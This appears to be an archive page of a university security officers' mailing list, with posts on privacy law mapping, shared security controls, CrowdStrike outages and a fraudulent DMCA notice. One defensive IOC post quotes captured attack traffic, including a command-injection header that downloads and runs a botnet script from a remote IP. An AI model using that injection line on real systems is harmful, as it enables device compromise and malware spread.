- USHE-ISO - lists.utahtech.edu

Better version of State Privacy Draft Framework
by Eric Bennick 18 Dec '24

18 Dec '24

See attachment for the .docx version of state privacy framework document.

1 0

*IMPORTANT! IOCs for MS-ISAC 0-day PHP currently under exploit
by Eric Bennick 27 Sep '24

27 Sep '24

We're seeing evidence of command injection attempts, likely exploitation of this 0-day sent out by MS-ISAC. MS-ISAC CYBERSECURITY ADVISORY - Multiple Vulnerabilities in PHP Could Allow for Remote Code Execution - PATCH NOW - TLP: CLEAR (cisecurity.org) <https://learn.cisecurity.org/webmail/799323/2287372849/ae8748c409eb66ac8699…> Please check the logs of any servers that might be affected for these IOCs Source IPs: 154.6.147.208 104.192.1.166 45.90.163.19 RCE Payload ... ..... ....E..;....@............0.P........P. .....<?php phpinfo(); ?> Packet Text ... ..... ....E.......@...h..........P........P. .....path=/2xMhQtOP/test&_variables=%7B%22_metadata%22%3A%7B%22classname%22%3A%22ws/test.xml%22%7D%2C%22_variables%22%3A%7B%7D%7D Packet Text ... ..... ....E..|....@...-Z.......6.P........P. .....Host: 137.190.21.9:80 <http://137.190.21.9/> User-Agent: Mozila/5.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`cd <http://purenetworks.com/HNAP1/GetDeviceSettings/cd> && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://146.19.191.205/a/wget.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh`" Content-Length: 0

1 0

CrowdStrike Causing BSOD
by Eric Bennick 19 Jul '24

19 Jul '24

Are you guys up recovering servers knocked offline by CrowdStrike?

2 2

Phone number for hacker social engineering service desk
by Eric Bennick 28 Jun '24

28 Jun '24

I think Jeremy asked about the phone numbers for calls from hackers. We had another social engineering call that was definitely a bad actor this morning, the phone call came in from 205-383-1176.

3 4

Seagull hat
by Eric Bennick 03 Apr '24

03 Apr '24

I have to admit that was good time. Thanks Dustin and Allen. Everyone else, you guys missed your chance to get an autographed seagull hat and see me strum the mandolin with the band. Maybe next time!

5 5

IMPORTANT! Information about HB491
by Eric Bennick 14 Feb '24

14 Feb '24

I've created an analysis for this group outlining the differences between HB491 and FERPA, complete with mappings to NIST 800-171 and NIST CSWP. The reason for creating this is there seems to be significant pushback on our fiscal impact statements with the claim that HB491 is less strict and has less work involved than currently required. This is not true, and I encourage everyone to not retract any pending requests just because the fiscal analysts are not knowledgeable of privacy and security. *1. HB491 Data Privacy Amendments Overview**[1]* - *Key Provisions*: Defines terms, outlines governmental entity duties around personal data privacy (breach notification, data collection/use limits, data access/correction), creates state data privacy policy and relevant governing bodies. *2. FERPA Overview**[2]* - *Key Provisions*: Protects the privacy of student education records, provides rights for inspection and review, amendment, and has detailed procedures around the disclosure of personally identifiable information. *3. NIST Privacy Framework Overview (V1.0) **[3]* - *Core Structure*: Identify (ID), Protect (PR), Control (CT), Inform (IN), and Respond (RS) *4. Comparison and Mapping* *Identify (ID)* - *HB491*: Duties related to managing personal data. - *FERPA*: Identification of education records. - *NIST 800-171 Control Mapping*: IA-1, Identification and Authentication Policy and Procedures. *Protect (PR)* - *HB491*: Limits on data collection and use; Establishes the Office of Data Privacy. - *FERPA*: Limits on disclosure of personally identifiable information. - *NIST 800-171 Control Mapping*: AC-1, Access Control Policy and Procedures. *Control (CT)* - *HB491*: Ability to correct and access personal data. - *FERPA*: Rights of inspection, review, and amendment of education records. - *NIST 800-171 Control Mapping*: AU-2, Audit Events. *Inform (IN)* - *HB491*: Breach notification. - *FERPA*: Annual notification of rights. - *NIST 800-171 Control Mapping*: IR-1, Incident Response Policy and Procedures. *Respond (RS)* - *HB491*: Creation of bodies for policy recommendation and implementation. - *FERPA*: Enforcement procedures. - *NIST 800-171 Control Mapping*: PE-1, Physical and Environmental Protection Policy and Procedures. *Specific Differences Requiring New Processes or Changes* While FERPA is focused on educational records and student privacy, HB491 spans a broader range of personal data under governmental entity control, introducing new processes around data privacy governance and breach response not explicitly outlined in FERPA. - *Data Governance*: HB491's creation of a privacy governance board and an Office of Data Privacy introduces a need for structured governance frameworks not specified in FERPA. - *Breach Response*: HB491 specifies obligations around breach notification tied to the assessment of risk, implicating the need for risk assessment procedures that align more specifically with the NIST framework as compared to FERPA's requirements. This overview illustrates an initial mapping and comparison schema. Due to the vast scope of each document and the specificity required for technical and legal compliance, further detailed analysis is needed for each specific provision and corresponding processes. Additionally, updates or modifications to existing policies or procedures must be informed not only by the outlined differences but also by the specific operational and legal context of the institution or agency in question. This emphasizes the importance of interdisciplinary collaboration between legal, IT, and data privacy professionals during the compliance alignment process. [1][2][3]

1 0

Weird Spam and DDoS stuff
by Eric Bennick 17 Jan '24

17 Jan '24

We're seeing some really strange, specifically target spam combined with DDoS attacks. I'm not going to speculate, but the timing suspiciously coincides with the public comments on DEI going on at the legislature right now. I think we need to keep our eyes open for stuff targeting higher education.

1 0

NSC Breach info
by Eric Bennick 26 Sep '23

26 Sep '23

If anyone is interested, the California Attorney General's office just posted a complete list of all institutions impacted by the NSC breach. https://oag.ca.gov/ecrime/databreach/reports/sb24-574028

1 0

USHE Security Outcomes / Shared Services Discussion
by Andrew Goble 24 Aug '23

24 Aug '23

Hi all, I'll try to keep this brief. There is no tl;dr version so bear with me. At the CIO retreat last month, Corey presented on their efforts at the U to create a University baseline of controls and tools that should be in place across all business/academic units. They came up with a list 36 controls out of CIS and the following toolset: 1. Network Access Control (NAC) 2. Default Deny at the Network Perimeter 3. Multi-factor Authentication (MFA) 4. Data Loss Prevention (DLP) 5. Privilege Access Management (PAM) 6. Endpoint Privilege Management (EPM) 7. Endpoint Detection and Response (EDR) 8. Endpoint Security Solution (ESS) *Corey/Dustin can correct me if I have their narrative wrong With the State and Board of Regents very much aboard the shared services train, the CIOs have tasked us to go through a similar exercise, except for the System. The end output here is to identify a subset of CIS controls (I view this as identifying a small, critical USHE-specific Implementation Group 1) and a set of tools / needs that would be part of the solution in achieving desired security outcomes for those controls. Finally, this leads to Yet Another Funding Request™ to ask for the resources to make these outcomes possible. I have no comment on the efficacy of repeated funding asks, that's not the point here. USHE is clearly a leader in the state for shared or collaborative IT services already and this is an effort to stay in that leadership position by acting on our own terms instead of standing pat and letting the legislature/state act for/on us. ACTION ITEMS What I would ask of each of you is some discussion on the above: What subset of CIS might we agree on as a USHE IG1? (may or may not be the same 36 the UofU chose for their internal project, and I think fewer is probably better to start with) What tools (specifically tied back to the controls we identify) might we coordinate and take advantage of shared purchasing and possible management on? General thoughts and disposition? I've also attached a simple spreadsheet with the UofU toolset just to get an idea of where we are at system-wide on that toolset. Please fill it out and send it back to me and I'll compile a master list. Thanks, Andrew

5 11

Fraudulent DMCA notices, possible exploit of CVE-2023-24329
by Eric Bennick 15 Aug '23

15 Aug '23

I wanted to share this information with you guys because we've never seen a malicious email used in this manner before. We received a suspicious DMCA notice, which I'm highly confident is fraudulent. It could be an attempt to set us up for exploitation of CVE-2023-24329. It could also be an attempt to social engineer someone into sending them information which could be leveraged to perpetuate more social engineering, phishing, or break into our systems. It is also suspiciously timed considering we had a large DDoS attack this morning, and suspicious authentication attempts to another server this weekend. I've attached the body of the email, and a quick summary of my initial analysis. I'm currently investigating information from the header. Also, the notice doesn't contain all the elements of a DMCA takedown notice because there is not a certification under penalty of perjury. ---------- Forwarded message --------- From: Raquel Sherman | Nationwide Legal <raquel(a)nationwide-law.biz> Date: Thu, Aug 10, 2023 at 12:58 AM Subject: DMCA Copyright Infringement Notice To: <bbarraza(a)weber.edu> Dear owner of https://www.weber.edu/NUAHEC/license, You are receiving this legal infringement notice from Nationwide Legal Trademark Department due to the unauthorized usage of our client's image. The use of this image : https://i.imgur.com/hZR5rNg.png on this page : https://www.weber.edu/NUAHEC/license is fine, as long as our client (How Much Does It Cost) is fully credited. The credit must appear under the image or the footer of the page and be clickable to https://howmuchdoesitcost.io/ within 5 working days. We await your response to confirm this has been completed, removing the image does not resolve the case. Failure to do so in this time frame, will result in legal case (No. 42788) proceeding under the Digital Millennium Copyright Act's Section 512(c) (" DMCA") for past and or current usage. Past usage of the image can be seen in the records on Wayback Machine (https://web.archive.org) - a permanent public archive of the web, which will be called upon as evidence in this case. This email serves as the required official notice. Regards Raquel Sherman Trademark Attorney Nationwide Legal 401 Congress Ave. #1540, Austin, TX 78701 raquel(a)nationwide-law.biz www.nationwide-law.biz --------------------------------------------------------------------------------------------I'm fairly certain this is a scare tactic designed to trick people into inserting links to their pages in order to exploit a recently disclosed vulnerability with the urllib.parse component of Python. Sources: 1. NVD - CVE-2023-24329 (nist.gov) <https://nvd.nist.gov/vuln/detail/CVE-2023-24329> 2. VU#127587 - Python Parsing Error Enabling Bypass CVE-2023-24329 (cert.org) <https://kb.cert.org/vuls/id/127587> The evidence: The domain the lawyer is using (nationwide-law[.]biz has only existed a few days. [image: nationwide_biz.png] The domain howmuchdoesitcost[.]io was not even registered until September 2022, see image. And a recent change was made to the registry, this was most likely the obfuscation of the true ownership to hide the true owner from investigation. [image: howmuchdoesitcost_registration_history.png] Record of our page on wayback machine exists from at least December 2020. [image: WaybackMachine_SocialMedia.png] The true owner of the image is Pixabay, and their license clearly states that based on the creation date, it either requires *NO attribution *(Pre Jan, 9th 2019) and later content does not require the images to contain a clickback link. Pixabay Terms of Service <https://pixabay.com/service/terms/> The most logical conclusion is that this DMCA notice is fraudulent, and an attempt to get us to insert a link with blank preceding characters (susceptible to the parsing vulnerability) in order to circumvent any blocklist which we may have in place. Since it does not comply with the required elements of a DMCA notice, it seems that there is minimal risk in ignoring it.

2 2